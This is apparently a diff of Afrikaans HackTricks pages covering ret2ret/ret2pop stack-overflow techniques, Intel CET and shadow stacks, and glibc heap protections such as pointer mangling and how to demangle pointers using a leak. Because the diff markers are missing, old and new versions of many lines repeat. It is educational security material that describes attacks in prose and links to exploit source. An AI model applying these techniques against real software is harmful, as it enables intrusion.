Oor die algemeen word stokoorvloeiings gewoonlik veroorsaak deur strings, en **strings eindig met 'n nulbyte aan die einde** in die geheue. Dit maak dit moontlik om die plek wat deur 'n bestaande aanwyser in die stok aangedui word, te probeer verminder. As die stok byvoorbeeld `0xbfffffdd` bevat, kan hierdie oorvloeiing dit omskep na `0xbfffff00` (let op die laaste genulbyte).
As daardie adres na ons shellkode in die stok verwys, is dit moontlik om die vloei na daardie adres te laat bereik deur **adresse by die `ret`-instruksie te voeg** totdat hierdie bereik word.
As daardie adres na ons shellkode in die stok verwys, is dit moontlik om die vloei na daardie adres te laat bereik deur **adresse by die `ret`-instruksie te voeg** totdat dit bereik word.
Dus sal die aanval soos volg wees:
Dus sal die aanval so lyk:
* NOP-glybaan
* Shellkode
* Oorskryf die stok vanaf die EIP met **adresse na `ret`** (RET-glybaan)
* 0x00 bygevoeg deur die string wat 'n adres van die stok wysig sodat dit na die NOP-glybaan wys
Deur [**hierdie skakel**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) kan jy 'n voorbeeld sien van 'n kwesbare binêre lêer en [**in hierdie een**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) die aanval.
Deur [**hierdie skakel**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) kan jy 'n voorbeeld sien van 'n kwesbare binêre en [**in hierdie een**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) die aanval.
## Ret2pop
In die geval dat jy 'n **perfekte aanwyser in die stok vind wat jy nie wil wysig nie** (in `ret2ret` het ons die finale laagste byte na `0x00` verander), kan jy dieselfde `ret2ret`-aanval uitvoer, maar die **lengte van die RET-glybaan moet met 1 verkort word** (sodat die finale `0x00` die data net voor die perfekte aanwyser oorskryf), en die **laaste** adres van die RET-glybaan moet na **`pop <reg>; ret`** wys.\
In die geval dat jy 'n **perfekte aanwyser in die stok vind wat jy nie wil wysig nie** (in `ret2ret` verander ons die finale laagste byte na `0x00`), kan jy dieselfde `ret2ret`-aanval uitvoer, maar die **lengte van die RET-glybaan moet met 1 verkort word** (sodat die finale `0x00` die data net voor die perfekte aanwyser oorskryf), en die **laaste** adres van die RET-glybaan moet na **`pop <reg>; ret`** wys.\
Op hierdie manier sal die **data voor die perfekte aanwyser van die stok verwyder word** (dit is die data wat deur die `0x00` geraak word) en die **finale `ret` sal na die perfekte adres** in die stok wys sonder enige verandering.
Deur [**hierdie skakel**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) kan jy 'n voorbeeld sien van 'n kwesbare binêre lêer en [**in hierdie een** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) die aanval.
Deur [**hierdie skakel**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) kan jy 'n voorbeeld sien van 'n kwesbare binêre en [**in hierdie een** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) die aanval.
## Verwysings
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,49 +1,51 @@
# CET & Shadow Stack
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Beheer Vloei Handhawingstegnologie (CET)
## Beheerstroomhandhawingstegnologie (CET)
**CET** is 'n sekuriteitskenmerk wat op hardewarevlak geïmplementeer is, ontwerp om algemene beheervloei-hyjacking-aanvalle soos **Return-Oriented Programming (ROP)** en **Jump-Oriented Programming (JOP)** te dwarsboom. Hierdie tipes aanvalle manipuleer die uitvoervloei van 'n program om skadelike kode uit te voer of om stukke benigne kode aan mekaar te koppel op 'n manier wat 'n skadelike aksie uitvoer.
**CET** is 'n sekuriteitskenmerk wat op hardewarevlak geïmplementeer is, ontwerp om algemene beheerstroomkapingaanvalle soos **Return-Oriented Programming (ROP)** en **Jump-Oriented Programming (JOP)** te dwarsboom. Hierdie tipes aanvalle manipuleer die uitvoeringsvloei van 'n program om skadelike kode uit te voer of om stukke benigne kode aan mekaar te koppel op 'n manier wat 'n skadelike aksie uitvoer.
CET stel twee hoofkenmerke bekend: **Indirect Branch Tracking (IBT)** en **Shadow Stack**.
* **IBT** verseker dat indirekte spronge en oproepe na geldige teikens gemaak word, wat uitdruklik gemerk is as wettige bestemmings vir indirekte takke. Dit word bereik deur die gebruik van 'n nuwe instruksiestel wat geldige teikens merk, wat aanvalle voorkom deur die beheervloei na willekeurige plekke te verhoed.
* **Shadow Stack** is 'n meganisme wat integriteit vir terugkeeradressse bied. Dit hou 'n beveiligde, verborge kopie van terugkeeradressse apart van die gewone oproepstapel. Wanneer 'n funksie terugkeer, word die terugkeeradres teen die skadustapel geverifieer, wat aanvallers verhoed om terugkeeradressse op die stapel te oorskryf om die beheervloei te kap.
* **IBT** verseker dat indirekte spronge en oproepe na geldige teikens gemaak word, wat uitdruklik gemerk is as wettige bestemmings vir indirekte takke. Dit word bereik deur die gebruik van 'n nuwe instruksiestel wat geldige teikens merk, wat aanvalle voorkom deur die beheerstroom na willekeurige plekke te verhoed.
* **Shadow Stack** is 'n meganisme wat integriteit vir terugkeeradresse bied. Dit hou 'n beveiligde, verborge kopie van terugkeeradresse apart van die gewone oproepstapel. Wanneer 'n funksie terugkeer, word die terugkeeradres gevalideer teen die skadustapel, wat aanvalle voorkom deur terugkeeradresse op die stapel te oorskryf om die beheerstroom te kap.
## Shadow Stack
Die **shadow stack** is 'n **toegewyde stapel wat uitsluitlik gebruik word vir die stoor van terugkeeradressse**. Dit werk saam met die gewone stapel maar is beskerm en weggesteek van normale programuitvoering, wat dit moeilik maak vir aanvallers om daarmee te knoei. Die primêre doel van die shadow stack is om te verseker dat enige wysigings aan terugkeeradressse op die konvensionele stapel opgespoor word voordat hulle gebruik kan word, wat ROP-aanvalle effektief verminder.
Die **shadow stack** is 'n **toegewyde stapel wat uitsluitlik gebruik word vir die stoor van terugkeeradresse**. Dit werk saam met die gewone stapel maar is beskerm en weggesteek van normale programuitvoering, wat dit moeilik maak vir aanvallers om daarmee te knoei. Die primêre doel van die shadow stack is om te verseker dat enige wysigings aan terugkeeradresse op die konvensionele stapel opgespoor word voordat hulle gebruik kan word, wat ROP-aanvalle effektief verminder.
## Hoe CET en Shadow Stack Aanvalle Voorkom
**ROP- en JOP-aanvalle** steun op die vermoë om die beheervloei van 'n toepassing te kap met behulp van kwesbaarhede wat hulle toelaat om wysers of terugkeeradressse op die stapel te oorskryf. Deur die vloei te rig op bestaande kodesnippets of terugkeer-georiënteerde programmeringsnippels, kan aanvallers arbitrêre kode uitvoer.
**ROP- en JOP-aanvalle** steun op die vermoë om die beheerstroom van 'n toepassing te kap met behulp van kwesbaarhede wat hulle toelaat om wysers of terugkeeradresse op die stapel te oorskryf. Deur die vloei te rig op bestaande kodesnippets of terugkeer-georiënteerde programmeringskodesnitte, kan aanvallers arbitrêre kode uitvoer.
* **CET se IBT**-kenmerk maak hierdie aanvalle aansienlik moeiliker deur te verseker dat indirekte takke slegs na adresse kan spring wat uitdruklik gemerk is as geldige teikens. Dit maak dit onmoontlik vir aanvallers om arbitrêre snippels wat oor die binêre versprei is, uit te voer.
* Die **shadow stack** verseker daarenteen dat selfs as 'n aanvaller 'n terugkeeradres op die normale stapel kan oorskryf, die **afwyking opgespoor sal word** wanneer die gekorrigeerde adres vergelyk word met die veilige kopie wat in die shadow stack gestoor is by die terugkeer van 'n funksie. As die adresse nie ooreenstem nie, kan die program beëindig word of ander sekuriteitsmaatreëls neem om te voorkom dat die aanval slaag.
* **CET se IBT**-kenmerk maak hierdie aanvalle aansienlik moeiliker deur te verseker dat indirekte takke slegs na adresse kan spring wat uitdruklik gemerk is as geldige teikens. Dit maak dit onmoontlik vir aanvallers om arbitrêre kodesnitte oor die binêre versprei uit te voer.
* Die **shadow stack** verseker daarenteen dat selfs as 'n aanvaller 'n terugkeeradres op die normale stapel kan oorskryf, die **afwyking opgespoor sal word** wanneer die gekorrigeerde adres vergelyk word met die veilige kopie wat in die shadow stack gestoor word tydens die terugkeer van 'n funksie. As die adresse nie ooreenstem nie, kan die program beëindig word of ander sekuriteitsmaatreëls neem om te voorkom dat die aanval slaag.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,77 +1,78 @@
# Libc Beskerming
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Stuk Uitlynhandhawing
**Malloc** ken geheue toe in **8-byte (32-bit) of 16-byte (64-bit) groeperings**. Dit beteken die einde van stukke in 32-bit stelsels moet belyn met **0x8**, en in 64-bit stelsels met **0x0**. Die sekuriteitsfunksie kontroleer dat elke stuk **korrek belyn** is by hierdie spesifieke plekke voordat 'n aanwyser van 'n bak gebruik word.
**Malloc** ken geheue toe in **8-byte (32-bit) of 16-byte (64-bit) groepe**. Dit beteken die einde van stukke in 32-bit stelsels moet belyn met **0x8**, en in 64-bit stelsels met **0x0**. Die sekuriteitskenmerk kontroleer dat elke stuk **korrek belyn** is by hierdie spesifieke plekke voordat 'n aanwyser van 'n bak gebruik word.
### Sekuriteitsvoordele
Die handhawing van stuk uitlyn in 64-bit stelsels verbeter Malloc se sekuriteit aansienlik deur die **plaas van valse stukke te beperk tot slegs 1 uit elke 16 adresse**. Dit bemoeilik uitbuitingspogings aansienlik, veral in scenario's waar die gebruiker beperkte beheer oor insetwaardes het, wat aanvalle meer kompleks en moeiliker maak om suksesvol uit te voer.
Die handhawing van stuk uitlyn in 64-bit stelsels verbeter Malloc se sekuriteit aansienlik deur **die plasing van valse stukke te beperk tot slegs 1 uit elke 16 adresse**. Dit bemoeilik uitbuitingspogings aansienlik, veral in scenario's waar die gebruiker beperkte beheer oor insetwaardes het, wat aanvalle meer kompleks en moeiliker maak om suksesvol uit te voer.
* **Fastbin Aanval op \_\_malloc\_hook**
Die nuwe uitlynreëls in Malloc keer ook 'n klassieke aanval met betrekking tot die `__malloc_hook`. Voorheen kon aanvallers stukgroottes manipuleer om hierdie funksieaanwyser te **oorheers** en **kode-uitvoering** te verkry. Nou verseker die streng uitlynvereiste dat sulke manipulasies nie meer lewensvatbaar is nie, wat 'n algemene uitbuitingsroete sluit en die algehele sekuriteit verbeter.
Die nuwe uitlynreëls in Malloc dwarsboom ook 'n klassieke aanval wat die `__malloc_hook` betrek. Voorheen kon aanvallers stukgroottes manipuleer om hierdie funksieaanwyser te **oorheers en kode-uitvoering te verkry**. Nou verseker die streng uitlynvereiste dat sulke manipulasies nie meer lewensvatbaar is nie, wat 'n algemene uitbuitingsroete sluit en die algehele sekuriteit verbeter.
## Aanwyserverminking op fastbins en tcache
**Aanwyserverminking** is 'n sekuriteitsverbetering wat gebruik word om **fastbin en tcache Fd aanwysers** in geheuebestuurhandelinge te beskerm. Hierdie tegniek help om sekere tipes geheue-uitbuitingstaktieke te voorkom, spesifiek dié wat nie gelekte geheue-inligting vereis nie of wat geheueposisies direk relatief tot bekende posisies manipuleer (relatiewe **oorheersing**).
**Aanwyserverminking** is 'n sekuriteitsverbetering wat gebruik word om **fastbin en tcache Fd-aanwysers** te beskerm in geheuebestuurhandelinge. Hierdie tegniek help om sekere tipes geheue-uitbuitingstaktieke te voorkom, spesifiek dié wat nie gelekte geheue-inligting vereis nie of wat geheuelokasies direk relatief tot bekende posisies manipuleer (relatiewe **oorheersings**).
Die kern van hierdie tegniek is 'n verduisteringsformule:
**`Nuwe_Aanwyser = (L >> 12) XOR P`**
**`Nuwe_Aanw = (L >> 12) XOR P`**
* **L** is die **Stoorplek** van die aanwyser.
* **P** is die werklike **fastbin/tcache Fd Aanwyser**.
* **P** is die werklike **fastbin/tcache Fd-aanwyser**.
Die rede vir die bietjieverskuiwing van die stoorplek (L) met 12 bietjies na regs voor die XOR-operasie is krities. Hierdie manipulasie spreek 'n kwesbaarheid aan wat inherent is aan die bepaalde aard van die minst betekenisvolle 12 bietjies van geheueadresse, wat tipies voorspelbaar is as gevolg van stelselargitektuurbeperkings. Deur die bietjies te skuif, word die voorspelbare gedeelte uit die vergelyking verwyder, wat die willekeurigheid van die nuwe, verminkte aanwyser verbeter en sodoende teen uitbuitings beskerm wat op die voorspelbaarheid van hierdie bietjies staatmaak.
Die rede vir die bitgewyse skuif van die stoorplek (L) met 12-bits na regs voor die XOR-operasie is krities. Hierdie manipulasie spreek 'n kwesbaarheid aan wat inherent is aan die bepaalde aard van die minst betekenisvolle 12-bits van geheueadresse, wat tipies voorspelbaar is as gevolg van stelselargitektuurbeperkings. Deur die bits te skuif, word die voorspelbare gedeelte uit die vergelyking verwyder, wat die willekeurigheid van die nuwe, verminkte aanwyser verbeter en sodoende teen uitbuitings beskerm wat op die voorspelbaarheid van hierdie bits staatmaak.
Hierdie verminkte aanwyser maak gebruik van die bestaande willekeurigheid wat deur **Adresruimte-uitlegverandering (ASLR)** voorsien word, wat adresse wat deur programme gebruik word, willekeurig maak om dit moeilik vir aanvallers te maak om die geheuelêer van 'n proses te voorspel.
Hierdie verminkte aanwyser maak gebruik van die bestaande willekeurigheid wat deur **Adresruimte-uitlegverandering (ASLR)** voorsien word, wat adresse wat deur programme gebruik word, willekeurig maak om dit vir aanvallers moeilik te maak om die geheuelêer van 'n proses te voorspel.
**Aanwyserontverminking** om die oorspronklike adres te herwin behels die gebruik van dieselfde XOR-operasie. Hier word die verminkte aanwyser as P in die formule behandel, en wanneer dit met die onveranderde stoorplek (L) XOR is, lei dit daartoe dat die oorspronklike aanwyser onthul word. Hierdie simmetrie in verminking en ontverminking verseker dat die stelsel aanwysers doeltreffend kan kodeer en ontkodeer sonder beduidende oorhoofse, terwyl dit die sekuriteit teen aanvalle wat geheueaanwysers manipuleer, aansienlik verhoog.
**Ontverminking** van die aanwyser om die oorspronklike adres te herwin, behels die gebruik van dieselfde XOR-operasie. Hier word die verminkte aanwyser as P in die formule behandel, en wanneer dit met die onveranderde stoorplek (L) XOR word, lei dit daartoe dat die oorspronklike aanwyser onthul word. Hierdie simmetrie in verminking en ontverminking verseker dat die stelsel aanwysers doeltreffend kan kodeer en ontkodeer sonder beduidende oorhoofse, terwyl dit die sekuriteit teen aanvalle wat geheueaanwysers manipuleer, aansienlik verhoog.
### Sekuriteitsvoordele
Aanwyserverminking beoog om **gedeeltelike en volledige aanwyseroorheersing in die hoop** bestuur, 'n beduidende verbetering in sekuriteit. Hierdie kenmerk beïnvloed uitbuitingstegnieke op verskeie maniere:
Aanwyserverminking beoog om **gedeeltelike en volledige aanwyseroorheersings in die hoop**-bestuur te voorkom, 'n beduidende verbetering in sekuriteit. Hierdie kenmerk beïnvloed uitbuitingstegnieke op verskeie maniere:
1. **Voorkoming van Bye Byte Relatiewe Oorheersing**: Voorheen kon aanvallers 'n deel van 'n aanwyser verander om **geheuestukke na verskillende plekke om te lei sonder om die presiese adresse te ken**, 'n tegniek wat duidelik is in die leklose **House of Roman**-uitbuiting. Met aanwyserverminking vereis sulke relatiewe oorheersing **sonder 'n geheuelek nou brute force**, wat hul suksesmoontlikheid drasties verminder.
2. **Verhoogde Moeilikheid van Tcache Bin/Fastbin Aanvalle**: Gewone aanvalle wat funksieaanwysers oorskryf (soos `__malloc_hook`) deur fastbin of tcache inskrywings te manipuleer, word gehinder. Byvoorbeeld, 'n aanval kan 'n LibC-adres lek, 'n stuk in die tcache-bin vrymaak, en dan die Fd-aanwyser oorskryf om dit na `__malloc_hook` te stuur vir willekeurige kode-uitvoering. Met aanwyserverminking moet hierdie aanwysers korrek vermink word, **wat 'n geheuelek vir akkurate manipulasie noodsaak**, en verhoog dus die uitbuitingsdrempel.
3. **Vereiste vir Geheuelekke in Nie-Geheuelposisies**: Die skep van 'n valse stuk in nie-geheue-areas (soos die stok, .bss-afdeling, of PLT/GOT) vereis nou ook 'n geheuelek weens die behoefte aan aanwyserverminking. Dit verleng die kompleksiteit van die uitbuiting van hierdie areas, soortgelyk aan die vereiste vir die manipulasie van LibC-adresse.
4. **Die lek van Geheueadresse word meer uitdagend**: Aanwyserverminking beperk die bruikbaarheid van Fd-aanwysers in fastbin en tcache-bakke as bronne vir geheueadreslekkasies. Tog bly aanwysers in ongesorteerde, klein, en groot bakke onvermink, dus steeds bruikbaar vir die lek van adresse. Hierdie skuif dwing aanvallers om hierdie bakke te ondersoek vir uitbuitbare inligting, alhoewel sommige tegnieke steeds mag toelaat om aanwysers te ontvermink voordat 'n lek plaasvind, alhoewel met beperkings.
1. **Voorkoming van Bye Byte Relatiewe Oorheersings**: Voorheen kon aanvallers 'n deel van 'n aanwyser verander om **geheuestukke na verskillende plekke om te lei sonder om die presiese adresse te ken**, 'n tegniek wat duidelik is in die leklose **House of Roman**-uitbuiting. Met aanwyserverminking vereis sulke relatiewe oorheersings **sonder 'n geheuelek nou brute force**, wat hul suksesmoontlikheid drasties verminder.
2. **Verhoogde Moeilikheid van Tcache Bin/Fastbin Aanvalle**: Gewone aanvalle wat funksieaanwysers oorskryf (soos `__malloc_hook`) deur fastbin- of tcache-inskrywings te manipuleer, word gehinder. Byvoorbeeld, 'n aanval kan 'n LibC-adres lek, 'n stuk in die tcache-bin vrymaak, en dan die Fd-aanwyser oorskryf om dit na `__malloc_hook` te stuur vir willekeurige kode-uitvoering. Met aanwyserverminking moet hierdie aanwysers korrek vermink word, **wat 'n geheuelek vir akkurate manipulasie noodsaak**, en sodoende die uitbuitingsdrempel verhoog.
3. **Vereiste vir Geheuelekke in Nie-Geheuelokasies**: Die skep van 'n valse stuk in nie-geheue-areas (soos die stok, .bss-afdeling, of PLT/GOT) vereis nou ook 'n geheuelek weens die behoefte aan aanwyserverminking. Dit verleng die kompleksiteit van die uitbuiting van hierdie areas, soortgelyk aan die vereiste vir die manipulasie van LibC-adresse.
4. **Lek van Geheueadresse Word Meer Uitdagend**: Aanwyserverminking beperk die bruikbaarheid van Fd-aanwysers in fastbin- en tcache-bakke as bronne vir geheueadreslekkasies. Tog bly aanwysers in ongesorteerde, klein, en groot bakke onvermink, dus steeds bruikbaar vir lekkasies van adresse. Hierdie skuif dwing aanvallers om hierdie bakke te ondersoek vir uitbuitbare inligting, alhoewel sommige tegnieke steeds mag toelaat om aanwysers te ontvermink voor 'n lek, alhoewel met beperkings.
### **Ontverminking van Aanwysers met 'n Geheuelek**
{% hint style="danger" %}
Vir 'n beter verduideliking van die proses [**kyk na die oorspronklike pos vanaf hier**](https://maxwelldulin.com/BlogPost?post=5445977088).
Vir 'n beter verduideliking van die proses [**kyk na die oorspronklike pos van hier**](https://maxwelldulin.com/BlogPost?post=5445977088).
{% endhint %}
### Algoritme-oorsig
Die formule wat gebruik word vir die verminking en ontverminking van aanwysers is:&#x20;
**`Nuwe_Aanwyser = (L >> 12) XOR P`**
**`Nuwe_Aanw = (L >> 12) XOR P`**
Waar **L** die stoorplek is en **P** die Fd-aanwyser is. Wanneer **L** regs verskuif word met 12 bietjies, kry jy effektief die boonste 12 bietjies van **P** omdat die verskuifde gedeelte van **L** nul sal wees, wat **P** se ooreenstemmende bietjies onveranderd laat.
Waar **L** die stoorplek is en **P** die Fd-aanwyser is. Wanneer **L** regs geskuif word met 12-bits, kry jy effektief die boonste 12-bits van **P** omdat die geskuifde gedeelte van **L** nul sal wees, wat **P se** ooreenstemmende bits onveranderd laat.
**Belangrike Stappe in die Algoritme:**
1. **Aanvanklike Lek van die Mees Betekenisvolle Bietjies**: Deur die verskuifde **L** met **P** te XOR, kry jy effektief die boonste 12 bietjies van **P** omdat die verskuifde gedeelte van **L** nul sal wees, wat **P** se ooreenstemmende bietjies onveranderd laat.
2. **Herwinning van Aanwyserbietjies**: Aangesien XOR omkeerbaar is, laat die kennis van die resultaat en een van die operandes jou toe om die ander operand te bereken. Hierdie eienskap word gebruik om die hele stel bietjies vir **P** af te lei deur bekende stelle bietjies suksesvol met dele van die verminkte aanwyser te XOR.
3. **Iteratiewe Ontverminking**: Die proses word herhaal, elke keer met die nuut ontdekte bietjies van **P** van die vorige stap om die volgende segment van die verminkte aanwyser te ontsluit, totdat alle bietjies herwin is.
4. **Hantering van Bepaalde Bietjies**: Die finale 12 bietjies van **L** gaan verlore weens die verskuif, maar hulle is bepaal en kan na die proses herkonstrueer word.
1. **Aanvanklike Lek van die Mees Betekenisvolle Bits**: Deur die geskuifde **L** met **P** te XOR, kry jy effektief die boonste 12-bits van **P** omdat die geskuifde gedeelte van **L** nul sal wees, wat **P se** ooreenstemmende bits onveranderd laat.
2. **Herwinning van Aanwyserbits**: Aangesien XOR omkeerbaar is, laat die kennis van die resultaat en een van die operandes jou toe om die ander operand te bereken. Hierdie eienskap word gebruik om die hele stel bits vir **P** af te lei deur bekende stelle bits suksesvol met dele van die verminkte aanwyser te XOR.
3. **Iteratiewe Ontverminking**: Die proses word herhaal, elke keer met die nuut ontdekte bits van **P** van die vorige stap om die volgende segment van die verminkte aanwyser te ontsluit, totdat alle bits herwin is.
4. **Hantering van Bepaalde Bits**: Die finale 12-bits van **L** gaan verlore weens die skuif, maar hulle is bepaal en kan na die proses herkonstrueer word.
Jy kan 'n implementering van hierdie algoritme hier vind: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Wagtwoord
@ -81,12 +82,12 @@ Pointer wagtwoord is 'n uitbuitingstegniek wat gebruik word in glibc om gestoord
### **Bypassing Pointer Wagtwoord met 'n lek**
